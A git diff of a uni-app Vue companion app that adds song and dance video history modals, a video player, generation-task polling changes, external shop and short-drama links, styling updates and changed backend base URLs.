<tab-bar></tab-bar>
|
||||
</view>
|
||||
|
||||
<!-- 青少年模式遮罩层 -->
|
||||
<view v-if="underAgeEnabled" class="underage-overlay">
|
||||
<view class="underage-text">已开启青少年模式</view>
|
||||
</view>
|
||||
|
||||
<view v-if="historyModalVisible" class="modal-mask" @click="closeHistoryModal">
|
||||
<view class="modal-card" @click.stop>
|
||||
<view class="modal-header">
|
||||
<view class="modal-title">{{ historyModalType === 'dance' ? '跳舞历史视频' : '唱歌历史视频' }}</view>
|
||||
<view class="modal-close" @click="closeHistoryModal">关闭</view>
|
||||
</view>
|
||||
<scroll-view class="modal-list" scroll-y="true">
|
||||
<view class="modal-item" v-for="(item,index) in historyModalList" :key="'modal-'+index">
|
||||
<view class="modal-item-info">
|
||||
<text class="modal-item-title">{{ historyModalType === 'dance' ? (item.prompt || '跳舞视频') : (item.song_title || '唱歌视频') }}</text>
|
||||
<text class="modal-item-date">{{ formatDate(item.created_at) }}</text>
|
||||
</view>
|
||||
<view class="modal-item-actions">
|
||||
<view class="modal-play" @click="openVideoPlayer(item.video_url)">播放</view>
|
||||
</view>
|
||||
</view>
|
||||
</scroll-view>
|
||||
</view>
|
||||
</view>
|
||||
|
||||
<view v-if="videoPlayerVisible" class="modal-mask" @click="closeVideoPlayer">
|
||||
<view class="modal-card" @click.stop>
|
||||
<view class="modal-header">
|
||||
<view class="modal-title">视频播放</view>
|
||||
<view class="modal-close" @click="closeVideoPlayer">关闭</view>
|
||||
</view>
|
||||
<video class="modal-video" :src="videoPlayerUrl" controls></video>
|
||||
</view>
|
||||
</view>
|
||||
</view>
|
||||
</template>
|
||||
|
||||
|
|
@ -320,6 +399,7 @@
|
|||
SessionInit,
|
||||
SessionSend
|
||||
} from '@/utils/api.js'
|
||||
import { baseURLPy } from '@/utils/request.js'
|
||||
import notHave from '@/components/not-have.vue';
|
||||
import topSafety from '@/components/top-safety.vue';
|
||||
import tabBar from '@/components/tab-bar.vue';
|
||||
|
|
@ -339,6 +419,7 @@
|
|||
return {
|
||||
// Tab 相关
|
||||
currentTab: 0,
|
||||
tabIntoView: 'tab-0',
|
||||
tabs: [
|
||||
{ name: '首页' },
|
||||
{ name: '聊天' },
|
||||
|
|
@ -353,13 +434,17 @@
|
|||
chatMessages: [],
|
||||
chatInputText: '',
|
||||
chatScrollTop: 0,
|
||||
chatIntoView: '',
|
||||
chatSessionId: null,
|
||||
chatUserAvatar: '',
|
||||
chatLoverAvatar: '',
|
||||
chatSending: false,
|
||||
dancePrompt: '',
|
||||
singSongsList: [],
|
||||
singHistoryList: [],
|
||||
danceHistoryList: [],
|
||||
songId: 0,
|
||||
singGenerating: false, // 唱歌视频生成中状态
|
||||
statusBarHeight: uni.getWindowInfo().statusBarHeight,
|
||||
currentStep: 0,
|
||||
chartData: {},
|
||||
|
|
@ -394,6 +479,11 @@
|
|||
getBobbiesList: '',
|
||||
loverBasicList: '',
|
||||
underAgeEnabled: false, // 添加青少年模式状态变量
|
||||
historyModalVisible: false,
|
||||
historyModalType: 'sing',
|
||||
historyModalList: [],
|
||||
videoPlayerVisible: false,
|
||||
videoPlayerUrl: '',
|
||||
}
|
||||
},
|
||||
onLoad(options) {
|
||||
|
|
@ -424,6 +514,7 @@
|
|||
|
||||
// 获取歌曲列表
|
||||
this.getSingSongs();
|
||||
this.getDanceHistory();
|
||||
},
|
||||
methods: {
|
||||
// Tab 切换方法
|
||||
|
|
@ -442,27 +533,57 @@
|
|||
}
|
||||
|
||||
this.currentTab = index;
|
||||
this.updateTabIntoView(index);
|
||||
},
|
||||
onSwiperChange(e) {
|
||||
console.log('Swiper 滑动,当前索引:', e.detail.current, '对应 Tab:', this.tabs[e.detail.current].name);
|
||||
this.currentTab = e.detail.current;
|
||||
this.updateTabIntoView(e.detail.current);
|
||||
|
||||
// 如果滑动到聊天 tab,初始化聊天会话
|
||||
if (e.detail.current === 1 && !this.chatSessionId) {
|
||||
this.initChatSession();
|
||||
}
|
||||
},
|
||||
updateTabIntoView(index) {
|
||||
this.$nextTick(() => {
|
||||
this.tabIntoView = 'tab-' + index;
|
||||
});
|
||||
},
|
||||
// 选择歌曲
|
||||
selectSongDirect(song) {
|
||||
// 防止重复点击
|
||||
if (this.singGenerating) {
|
||||
uni.showToast({
|
||||
title: '视频生成中,请稍候...',
|
||||
icon: 'none',
|
||||
duration: 2000
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
this.songId = song.id;
|
||||
uni.showLoading({ title: '生成中...' });
|
||||
this.singGenerating = true;
|
||||
uni.showLoading({
|
||||
title: '正在生成视频...',
|
||||
mask: true // 添加遮罩层防止用户操作
|
||||
});
|
||||
|
||||
SingGenerate({ song_id: song.id }).then(res => {
|
||||
if (res.code == 1) {
|
||||
this.getSingGenerateTask(res.data.task_id);
|
||||
this.getSingGenerateTask(res.data.generation_task_id);
|
||||
} else {
|
||||
this.singGenerating = false;
|
||||
uni.hideLoading();
|
||||
uni.showToast({ title: res.msg, icon: 'none' });
|
||||
}
|
||||
}).catch(err => {
|
||||
this.singGenerating = false;
|
||||
uni.hideLoading();
|
||||
uni.showToast({
|
||||
title: '请求失败,请重试',
|
||||
icon: 'none'
|
||||
});
|
||||
});
|
||||
},
|
||||
// 请求跳舞
|
||||
|
|
@ -476,20 +597,104 @@
|
|||
if (res.code == 1) {
|
||||
uni.hideLoading();
|
||||
uni.showToast({ title: '生成成功', icon: 'success' });
|
||||
this.getDanceHistory();
|
||||
} else {
|
||||
uni.hideLoading();
|
||||
uni.showToast({ title: res.msg, icon: 'none' });
|
||||
}
|
||||
});
|
||||
},
|
||||
// 获取歌曲列表
|
||||
getSingSongs() {
|
||||
SingSongs().then(res => {
|
||||
if (res.code == 1) {
|
||||
this.singSongsList = res.data.list || [];
|
||||
// 打开商城外部链接
|
||||
openShopLink() {
|
||||
// 在 H5 环境中打开外部链接
|
||||
// #ifdef H5
|
||||
window.open('http://apidoc.weipinshang.net/web/#/1?page_id=450', '_blank');
|
||||
// #endif
|
||||
|
||||
// 在 APP 环境中使用 plus.runtime.openURL
|
||||
// #ifdef APP-PLUS
|
||||
plus.runtime.openURL('http://apidoc.weipinshang.net/web/#/1?page_id=450');
|
||||
// #endif
|
||||
|
||||
// 在小程序环境中复制链接
|
||||
// #ifdef MP
|
||||
uni.setClipboardData({
|
||||
data: 'http://apidoc.weipinshang.net/web/#/1?page_id=450',
|
||||
success: function () {
|
||||
uni.showToast({
|
||||
title: '链接已复制,请在浏览器中打开',
|
||||
icon: 'none',
|
||||
duration: 2000
|
||||
});
|
||||
}
|
||||
});
|
||||
// #endif
|
||||
},
|
||||
// 打开短剧外部链接
|
||||
openDramaLink() {
|
||||
// 在 H5 环境中打开外部链接
|
||||
// #ifdef H5
|
||||
window.open('https://djcps.meinvclk.top', '_blank');
|
||||
// #endif
|
||||
|
||||
// 在 APP 环境中使用 plus.runtime.openURL
|
||||
// #ifdef APP-PLUS
|
||||
plus.runtime.openURL('https://djcps.meinvclk.top');
|
||||
// #endif
|
||||
|
||||
// 在小程序环境中复制链接
|
||||
// #ifdef MP
|
||||
uni.setClipboardData({
|
||||
data: 'https://djcps.meinvclk.top',
|
||||
success: function () {
|
||||
uni.showToast({
|
||||
title: '链接已复制,请在浏览器中打开',
|
||||
icon: 'none',
|
||||
duration: 2000
|
||||
});
|
||||
}
|
||||
});
|
||||
// #endif
|
||||
},
|
||||
getDanceHistory() {
|
||||
uni.request({
|
||||
url: baseURLPy + '/dance/history',
|
||||
method: 'GET',
|
||||
header: {
|
||||
'Authorization': 'Bearer ' + uni.getStorageSync("token")
|
||||
},
|
||||
success: (res) => {
|
||||
console.log('跳舞历史:', res.data);
|
||||
if (res.data.code === 1 && res.data.data) {
|
||||
this.danceHistoryList = res.data.data;
|
||||
}
|
||||
},
|
||||
fail: (err) => {
|
||||
console.error('获取跳舞历史失败:', err);
|
||||
}
|
||||
});
|
||||
},
|
||||
playDanceVideo(videoUrl) {
|
||||
this.openVideoPlayer(videoUrl);
|
||||
},
|
||||
openHistoryModal(type) {
|
||||
this.historyModalType = type;
|
||||
this.historyModalList = type === 'dance' ? (this.danceHistoryList || []) : (this.singHistoryList || []);
|
||||
this.historyModalVisible = true;
|
||||
},
|
||||
closeHistoryModal() {
|
||||
this.historyModalVisible = false;
|
||||
},
|
||||
openVideoPlayer(url) {
|
||||
if (!url) return;
|
||||
this.videoPlayerUrl = url;
|
||||
this.videoPlayerVisible = true;
|
||||
},
|
||||
closeVideoPlayer() {
|
||||
this.videoPlayerVisible = false;
|
||||
this.videoPlayerUrl = '';
|
||||
},
|
||||
// 获取歌曲列表
|
||||
// 获取歌曲列表
|
||||
getSingSongs() {
|
||||
SingSongs().then(res => {
|
||||
|
|
@ -497,38 +702,109 @@
|
|||
this.singSongsList = res.data.songs || [];
|
||||
}
|
||||
});
|
||||
// 同时获取历史记录
|
||||
this.getSingHistory();
|
||||
},
|
||||
// 获取唱歌历史记录
|
||||
getSingHistory() {
|
||||
uni.request({
|
||||
url: baseURLPy + '/sing/history',
|
||||
method: 'GET',
|
||||
header: {
|
||||
'Authorization': 'Bearer ' + uni.getStorageSync("token")
|
||||
},
|
||||
success: (res) => {
|
||||
console.log('唱歌历史:', res.data);
|
||||
if (res.data.code === 1 && res.data.data) {
|
||||
this.singHistoryList = res.data.data;
|
||||
}
|
||||
},
|
||||
fail: (err) => {
|
||||
console.error('获取唱歌历史失败:', err);
|
||||
}
|
||||
});
|
||||
},
|
||||
// 播放唱歌视频
|
||||
playSingVideo(videoUrl) {
|
||||
this.openVideoPlayer(videoUrl);
|
||||
},
|
||||
// 格式化日期
|
||||
formatDate(dateStr) {
|
||||
if (!dateStr) return '';
|
||||
const date = new Date(dateStr);
|
||||
const month = String(date.getMonth() + 1).padStart(2, '0');
|
||||
const day = String(date.getDate()).padStart(2, '0');
|
||||
const hour = String(date.getHours()).padStart(2, '0');
|
||||
const minute = String(date.getMinutes()).padStart(2, '0');
|
||||
return `${month}-${day} ${hour}:${minute}`;
|
||||
},
|
||||
// 加载换装数据
|
||||
// 轮询监听唱歌任务结果
|
||||
getSingGenerateTask(task_id) {
|
||||
const that = this;
|
||||
let attempts = 0;
|
||||
const maxAttempts = 20;
|
||||
const maxAttempts = 60; // 增加到60次,每次4秒,总共4分钟
|
||||
|
||||
const doPoll = () => {
|
||||
attempts++;
|
||||
if (attempts > maxAttempts) {
|
||||
that.singGenerating = false;
|
||||
uni.hideLoading();
|
||||
uni.showToast({ title: '处理超时,请稍后重试', icon: 'none' });
|
||||
uni.showToast({
|
||||
title: '处理超时,请稍后查看',
|
||||
icon: 'none',
|
||||
duration: 2000
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
// 更新加载提示
|
||||
uni.showLoading({
|
||||
title: `生成中... (${attempts}/${maxAttempts})`,
|
||||
mask: true
|
||||
});
|
||||
|
||||
SingGenerateTask(task_id).then(res => {
|
||||
if (res.code == 1) {
|
||||
const data = res.data;
|
||||
if (data.status == 'succeeded') {
|
||||
that.singGenerating = false;
|
||||
uni.hideLoading();
|
||||
uni.showToast({ title: '生成成功', icon: 'success' });
|
||||
uni.showToast({
|
||||
title: '生成成功!',
|
||||
icon: 'success',
|
||||
duration: 2000
|
||||
});
|
||||
// 可以在这里刷新聊天消息或显示视频
|
||||
} else if (data.status == 'failed') {
|
||||
that.singGenerating = false;
|
||||
uni.hideLoading();
|
||||
uni.showToast({ title: data.error_msg || '生成失败', icon: 'none' });
|
||||
uni.showToast({
|
||||
title: data.error_msg || '生成失败',
|
||||
icon: 'none',
|
||||
duration: 2000
|
||||
});
|
||||
} else {
|
||||
// 继续轮询
|
||||
setTimeout(doPoll, 4000);
|
||||
}
|
||||
} else {
|
||||
that.singGenerating = false;
|
||||
uni.hideLoading();
|
||||
uni.showToast({ title: res.msg, icon: 'none' });
|
||||
uni.showToast({
|
||||
title: res.msg,
|
||||
icon: 'none',
|
||||
duration: 2000
|
||||
});
|
||||
}
|
||||
}).catch(err => {
|
||||
that.singGenerating = false;
|
||||
uni.hideLoading();
|
||||
uni.showToast({
|
||||
title: '查询失败,请重试',
|
||||
icon: 'none',
|
||||
duration: 2000
|
||||
});
|
||||
});
|
||||
};
|
||||
|
||||
|
|
@ -826,6 +1102,9 @@
|
|||
const userMessage = this.chatInputText.trim();
|
||||
this.chatInputText = '';
|
||||
|
||||
// 让输入框失去焦点,收起键盘
|
||||
uni.hideKeyboard();
|
||||
|
||||
// 添加用户消息到列表
|
||||
this.chatMessages.push({
|
||||
role: 'user',
|
||||
|
|
@ -881,9 +1160,20 @@
|
|||
});
|
||||
},
|
||||
|
||||
// 输入框失去焦点时的处理
|
||||
onInputBlur() {
|
||||
// 确保输入框恢复正常状态
|
||||
this.$nextTick(() => {
|
||||
// 强制重新渲染,确保样式正确
|
||||
});
|
||||
},
|
||||
|
||||
// 滚动聊天到底部
|
||||
scrollChatToBottom() {
|
||||
this.chatScrollTop = 999999;
|
||||
this.chatIntoView = '';
|
||||
this.$nextTick(() => {
|
||||
this.chatIntoView = 'chat-bottom';
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
@ -1330,19 +1620,25 @@
|
|||
/* Swiper 容器样式 */
|
||||
.swiper-container {
|
||||
flex: 1;
|
||||
width: 100%;
|
||||
height: calc(100vh - 120rpx);
|
||||
margin-top: calc(80rpx + var(--status-bar-height));
|
||||
overflow-x: hidden;
|
||||
}
|
||||
|
||||
.swiper-scroll {
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
overflow-x: hidden;
|
||||
}
|
||||
|
||||
.swiper-content {
|
||||
height: 100%;
|
||||
width: 100%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
overflow-x: hidden;
|
||||
}
|
||||
|
||||
/* 功能页面样式 */
|
||||
|
|
@ -1388,12 +1684,77 @@
|
|||
width: 100%;
|
||||
max-height: 60vh;
|
||||
margin-top: 20rpx;
|
||||
box-sizing: border-box;
|
||||
overflow-x: hidden;
|
||||
}
|
||||
|
||||
/* 历史视频样式 */
|
||||
.history-section {
|
||||
width: 100%;
|
||||
padding: 20rpx;
|
||||
margin-bottom: 30rpx;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.section-title {
|
||||
font-size: 32rpx;
|
||||
font-weight: bold;
|
||||
color: #333;
|
||||
margin-bottom: 20rpx;
|
||||
padding-left: 10rpx;
|
||||
}
|
||||
|
||||
.history-list {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.history-item {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 25rpx;
|
||||
margin-bottom: 15rpx;
|
||||
background: linear-gradient(135deg, rgba(159, 71, 255, 0.1) 0%, rgba(0, 83, 250, 0.1) 100%);
|
||||
border-radius: 15rpx;
|
||||
border: 1px solid rgba(159, 71, 255, 0.2);
|
||||
}
|
||||
|
||||
.history-info {
|
||||
flex: 1;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
}
|
||||
|
||||
.history-title {
|
||||
font-size: 30rpx;
|
||||
color: #333;
|
||||
font-weight: 500;
|
||||
margin-bottom: 8rpx;
|
||||
}
|
||||
|
||||
.history-date {
|
||||
font-size: 24rpx;
|
||||
color: #999;
|
||||
}
|
||||
|
||||
.history-actions {
|
||||
display: flex;
|
||||
gap: 15rpx;
|
||||
}
|
||||
|
||||
.history-btn {
|
||||
padding: 12rpx 30rpx;
|
||||
background: linear-gradient(135deg, #9F47FF 0%, #0053FA 100%);
|
||||
color: #fff;
|
||||
border-radius: 25rpx;
|
||||
font-size: 26rpx;
|
||||
}
|
||||
|
||||
/* 歌曲列表样式 */
|
||||
.song-list {
|
||||
width: 100%;
|
||||
padding: 20rpx;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.song-item {
|
||||
|
|
@ -1500,6 +1861,49 @@
|
|||
font-size: 24rpx;
|
||||
}
|
||||
|
||||
/* 商城外部链接页面样式 */
|
||||
.shop-link-page {
|
||||
cursor: pointer;
|
||||
transition: all 0.3s ease;
|
||||
}
|
||||
|
||||
.shop-link-page:active {
|
||||
transform: scale(0.98);
|
||||
}
|
||||
|
||||
.shop-link-banner {
|
||||
width: 80%;
|
||||
max-width: 500rpx;
|
||||
margin: 40rpx auto;
|
||||
padding: 40rpx;
|
||||
background: linear-gradient(135deg, #FFE5F0 0%, #E5F0FF 100%);
|
||||
border-radius: 20rpx;
|
||||
border: 2rpx solid #9F47FF;
|
||||
box-shadow: 0 8rpx 20rpx rgba(159, 71, 255, 0.2);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 20rpx;
|
||||
}
|
||||
|
||||
.shop-banner-img {
|
||||
width: 200rpx;
|
||||
height: 200rpx;
|
||||
}
|
||||
|
||||
.shop-link-text {
|
||||
font-size: 32rpx;
|
||||
color: #9F47FF;
|
||||
font-weight: bold;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.shop-external-btn {
|
||||
background: linear-gradient(135deg, #FF6B9D 0%, #C239B3 100%);
|
||||
font-weight: bold;
|
||||
box-shadow: 0 4rpx 12rpx rgba(255, 107, 157, 0.3);
|
||||
}
|
||||
|
||||
/* 短剧列表样式 */
|
||||
.drama-list {
|
||||
width: 100%;
|
||||
|
|
@ -1550,6 +1954,45 @@
|
|||
font-size: 24rpx;
|
||||
}
|
||||
|
||||
/* 短剧外部链接特殊样式 */
|
||||
.drama-link-item {
|
||||
position: relative;
|
||||
background: linear-gradient(135deg, #FFE5F0 0%, #E5F0FF 100%);
|
||||
border: 2rpx solid #9F47FF;
|
||||
box-shadow: 0 4rpx 12rpx rgba(159, 71, 255, 0.2);
|
||||
cursor: pointer;
|
||||
transition: all 0.3s ease;
|
||||
}
|
||||
|
||||
.drama-link-item:active {
|
||||
transform: scale(0.98);
|
||||
box-shadow: 0 2rpx 8rpx rgba(159, 71, 255, 0.3);
|
||||
}
|
||||
|
||||
.drama-banner {
|
||||
width: 200rpx;
|
||||
height: 150rpx;
|
||||
border-right: 2rpx solid rgba(159, 71, 255, 0.2);
|
||||
}
|
||||
|
||||
.drama-link-badge {
|
||||
position: absolute;
|
||||
top: 10rpx;
|
||||
left: 10rpx;
|
||||
padding: 4rpx 12rpx;
|
||||
background: linear-gradient(135deg, #FF6B9D 0%, #C239B3 100%);
|
||||
color: #fff;
|
||||
font-size: 20rpx;
|
||||
border-radius: 8rpx;
|
||||
font-weight: bold;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.drama-external-btn {
|
||||
background: linear-gradient(135deg, #FF6B9D 0%, #C239B3 100%);
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/* 自定义细线指示器样式 */
|
||||
.swiper-indicator {
|
||||
position: fixed;
|
||||
|
|
@ -1562,6 +2005,15 @@
|
|||
gap: 8rpx;
|
||||
z-index: 100;
|
||||
padding: 0 20rpx;
|
||||
transition: transform 0.3s ease-in-out, opacity 0.3s ease-in-out;
|
||||
transform: translateY(0);
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.swiper-indicator.indicator-hidden {
|
||||
transform: translateY(100%);
|
||||
opacity: 0;
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.indicator-line {
|
||||
|
|
@ -1835,12 +2287,18 @@
|
|||
height: 100%;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
min-height: 0;
|
||||
background: #f5f5f5;
|
||||
}
|
||||
|
||||
.chat-message-scroll {
|
||||
flex: 1;
|
||||
height: 0;
|
||||
min-height: 0;
|
||||
padding: 20rpx;
|
||||
padding-left: 30rpx;
|
||||
padding-right: 30rpx;
|
||||
box-sizing: border-box;
|
||||
overflow-y: auto;
|
||||
}
|
||||
|
||||
|
|
@ -1856,10 +2314,13 @@
|
|||
|
||||
.message-left {
|
||||
flex-direction: row;
|
||||
justify-content: flex-start;
|
||||
}
|
||||
|
||||
.message-right {
|
||||
flex-direction: row-reverse;
|
||||
justify-content: flex-start;
|
||||
padding-left: 0;
|
||||
}
|
||||
|
||||
.chat-avatar {
|
||||
|
|
@ -1870,7 +2331,7 @@
|
|||
}
|
||||
|
||||
.chat-message-bubble {
|
||||
max-width: 500rpx;
|
||||
max-width: 420rpx; /* 减小气泡宽度,给头像留更多空间 */
|
||||
padding: 20rpx 25rpx;
|
||||
border-radius: 20rpx;
|
||||
margin: 0 20rpx;
|
||||
|
|
@ -1902,9 +2363,12 @@
|
|||
.chat-input-bar {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
padding: 20rpx;
|
||||
padding: 10rpx 20rpx;
|
||||
padding-bottom: calc(10rpx + env(safe-area-inset-bottom));
|
||||
background: #fff;
|
||||
border-top: 1rpx solid #e5e5e5;
|
||||
box-sizing: border-box;
|
||||
flex-shrink: 0; /* 防止被压缩 */
|
||||
}
|
||||
|
||||
.chat-message-input {
|
||||
|
|
@ -1919,9 +2383,112 @@
|
|||
.chat-send-btn {
|
||||
margin-left: 20rpx;
|
||||
padding: 20rpx 40rpx;
|
||||
height: 80rpx;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
background: linear-gradient(135deg, #9F47FF 0%, #0053FA 100%);
|
||||
color: #fff;
|
||||
border-radius: 40rpx;
|
||||
font-size: 28rpx;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
/* ========== 底部 Tab 栏隐藏动画 ========== */
|
||||
.bottom-tab-bar {
|
||||
position: fixed;
|
||||
bottom: 0;
|
||||
left: 0;
|
||||
right: 0;
|
||||
z-index: 999;
|
||||
transition: transform 0.3s ease-in-out, opacity 0.3s ease-in-out;
|
||||
transform: translateY(0);
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
.bottom-tab-bar.tab-bar-hidden {
|
||||
transform: translateY(100%); /* 向下移动,完全隐藏 */
|
||||
opacity: 0; /* 透明度为0 */
|
||||
pointer-events: none; /* 禁用点击事件 */
|
||||
}
|
||||
.modal-mask {
|
||||
position: fixed;
|
||||
left: 0;
|
||||
top: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: rgba(0,0,0,0.6);
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 9999;
|
||||
}
|
||||
.modal-card {
|
||||
width: 92%;
|
||||
max-height: 80%;
|
||||
background: #ffffff;
|
||||
border-radius: 16rpx;
|
||||
overflow: hidden;
|
||||
}
|
||||
.modal-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 24rpx;
|
||||
border-bottom: 1px solid rgba(0,0,0,0.06);
|
||||
}
|
||||
.modal-title {
|
||||
font-size: 30rpx;
|
||||
font-weight: 600;
|
||||
color: #333333;
|
||||
}
|
||||
.modal-close {
|
||||
font-size: 26rpx;
|
||||
color: #666666;
|
||||
padding: 6rpx 12rpx;
|
||||
}
|
||||
.modal-list {
|
||||
max-height: 60vh;
|
||||
padding: 12rpx 24rpx 24rpx;
|
||||
}
|
||||
.modal-item {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
padding: 16rpx 0;
|
||||
border-bottom: 1px solid rgba(0,0,0,0.06);
|
||||
}
|
||||
.modal-item-info {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
flex: 1;
|
||||
padding-right: 12rpx;
|
||||
}
|
||||
.modal-item-title {
|
||||
font-size: 28rpx;
|
||||
color: #333333;
|
||||
}
|
||||
.modal-item-date {
|
||||
font-size: 22rpx;
|
||||
color: #999999;
|
||||
margin-top: 6rpx;
|
||||
}
|
||||
.modal-item-actions {
|
||||
width: 120rpx;
|
||||
display: flex;
|
||||
justify-content: flex-end;
|
||||
}
|
||||
.modal-play {
|
||||
font-size: 24rpx;
|
||||
color: #ffffff;
|
||||
background: #F661B5;
|
||||
padding: 10rpx 16rpx;
|
||||
border-radius: 12rpx;
|
||||
text-align: center;
|
||||
}
|
||||
.modal-video {
|
||||
width: 100%;
|
||||
height: 420rpx;
|
||||
background: #000000;
|
||||
}
|
||||
</style>
|
||||
|
|
|
|||
129
xuniYou/pages/index/videoHistory.vue
Normal file
129
xuniYou/pages/index/videoHistory.vue
Normal file
|
|
@ -0,0 +1,129 @@
|
|||
<template>
|
||||
<view class="container">
|
||||
<view class="header">
|
||||
<view class="title">{{ pageTitle }}</view>
|
||||
</view>
|
||||
<scroll-view class="list" scroll-y="true">
|
||||
<view v-if="historyList.length === 0" class="empty">
|
||||
<text>暂无历史视频</text>
|
||||
</view>
|
||||
<view v-else>
|
||||
<view class="item" v-for="(item, index) in historyList" :key="index">
|
||||
<view class="item-info">
|
||||
<text class="item-title">{{ itemTitle(item) }}</text>
|
||||
<text class="item-date">{{ formatDate(item.created_at) }}</text>
|
||||
</view>
|
||||
<video v-if="item.video_url" class="video" :src="item.video_url" controls></video>
|
||||
</view>
|
||||
</view>
|
||||
</scroll-view>
|
||||
</view>
|
||||
</template>
|
||||
|
||||
<script>
|
||||
import { baseURLPy } from '@/utils/request.js'
|
||||
|
||||
export default {
|
||||
data() {
|
||||
return {
|
||||
type: 'sing',
|
||||
historyList: []
|
||||
}
|
||||
},
|
||||
computed: {
|
||||
pageTitle() {
|
||||
return this.type === 'dance' ? '跳舞历史视频' : '唱歌历史视频';
|
||||
}
|
||||
},
|
||||
onLoad(options) {
|
||||
if (options && options.type) {
|
||||
this.type = options.type;
|
||||
}
|
||||
},
|
||||
onShow() {
|
||||
this.fetchHistory();
|
||||
},
|
||||
methods: {
|
||||
fetchHistory() {
|
||||
const endpoint = this.type === 'dance' ? 'dance/history' : 'sing/history';
|
||||
uni.request({
|
||||
url: baseURLPy + '/' + endpoint,
|
||||
method: 'GET',
|
||||
header: {
|
||||
'Authorization': 'Bearer ' + uni.getStorageSync('token')
|
||||
},
|
||||
success: (res) => {
|
||||
if (res.data && res.data.code === 1 && res.data.data) {
|
||||
this.historyList = res.data.data;
|
||||
}
|
||||
},
|
||||
fail: () => {}
|
||||
});
|
||||
},
|
||||
itemTitle(item) {
|
||||
if (this.type === 'dance') {
|
||||
return item.prompt || '跳舞视频';
|
||||
}
|
||||
return item.song_title || '唱歌视频';
|
||||
},
|
||||
formatDate(dateStr) {
|
||||
if (!dateStr) return '';
|
||||
const date = new Date(dateStr);
|
||||
const month = String(date.getMonth() + 1).padStart(2, '0');
|
||||
const day = String(date.getDate()).padStart(2, '0');
|
||||
const hour = String(date.getHours()).padStart(2, '0');
|
||||
const minute = String(date.getMinutes()).padStart(2, '0');
|
||||
return `${month}-${day} ${hour}:${minute}`;
|
||||
}
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
.container {
|
||||
flex: 1;
|
||||
background: #0b0f1a;
|
||||
padding: 24rpx;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
.header {
|
||||
padding: 12rpx 0 24rpx;
|
||||
}
|
||||
.title {
|
||||
font-size: 34rpx;
|
||||
color: #ffffff;
|
||||
font-weight: 600;
|
||||
}
|
||||
.list {
|
||||
height: calc(100vh - 120rpx);
|
||||
}
|
||||
.empty {
|
||||
padding: 40rpx 0;
|
||||
text-align: center;
|
||||
color: rgba(255,255,255,0.7);
|
||||
}
|
||||
.item {
|
||||
margin-bottom: 24rpx;
|
||||
padding: 18rpx;
|
||||
background: rgba(255,255,255,0.06);
|
||||
border-radius: 16rpx;
|
||||
}
|
||||
.item-info {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
margin-bottom: 12rpx;
|
||||
}
|
||||
.item-title {
|
||||
color: #ffffff;
|
||||
font-size: 28rpx;
|
||||
margin-bottom: 6rpx;
|
||||
}
|
||||
.item-date {
|
||||
color: rgba(255,255,255,0.6);
|
||||
font-size: 22rpx;
|
||||
}
|
||||
.video {
|
||||
width: 100%;
|
||||
border-radius: 12rpx;
|
||||
}
|
||||
</style>
|
||||
20
xuniYou/static/images/README_drama_banner.txt
Normal file
20
xuniYou/static/images/README_drama_banner.txt
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
短剧横幅图片说明
|
||||
==================
|
||||
|
||||
当前使用的图片:/static/images/chat_a1.png(临时占位图)
|
||||
|
||||
如需替换为自定义图片:
|
||||
1. 准备一张横幅图片(建议尺寸:400x300 像素或 2:1.5 比例)
|
||||
2. 将图片命名为 drama-banner.jpg 或 drama-banner.png
|
||||
3. 放置到 xuniYou/static/images/ 目录下
|
||||
4. 修改 xuniYou/pages/index/index.vue 文件中的图片路径:
|
||||
将 src="/static/images/chat_a1.png"
|
||||
改为 src="/static/images/drama-banner.jpg"
|
||||
|
||||
链接地址:https://djcps.meinvclk.top
|
||||
|
||||
功能说明:
|
||||
- 点击该短剧项会打开外部链接
|
||||
- H5 环境:在新标签页打开
|
||||
- APP 环境:使用系统浏览器打开
|
||||
- 小程序环境:复制链接到剪贴板
|
||||
|
|
@ -1,10 +1,10 @@
|
|||
// 本地开发 - 电脑浏览器调试使用
|
||||
// export const baseURL = 'http://127.0.0.1:8080'
|
||||
// export const baseURLPy = 'http://127.0.0.1:8000'
|
||||
// Windows 本地开发 - 混合架构
|
||||
export const baseURL = 'http://192.168.1.164:30100' // PHP 处理界面和部分 API
|
||||
export const baseURLPy = 'http://192.168.1.164:30101' // FastAPI 处理核心 API
|
||||
|
||||
// 开发环境 - 手机端调试使用局域网IP(需要时取消注释)
|
||||
export const baseURL = 'http://192.168.1.164:8080'
|
||||
export const baseURLPy = 'http://192.168.1.164:8000'
|
||||
// 远程服务器 - 需要时取消注释
|
||||
// export const baseURL = 'http://1.15.149.240:30100'
|
||||
// export const baseURLPy = 'http://1.15.149.240:30100/api'
|
||||
|
||||
export const sid = 2
|
||||
|
||||
|
|
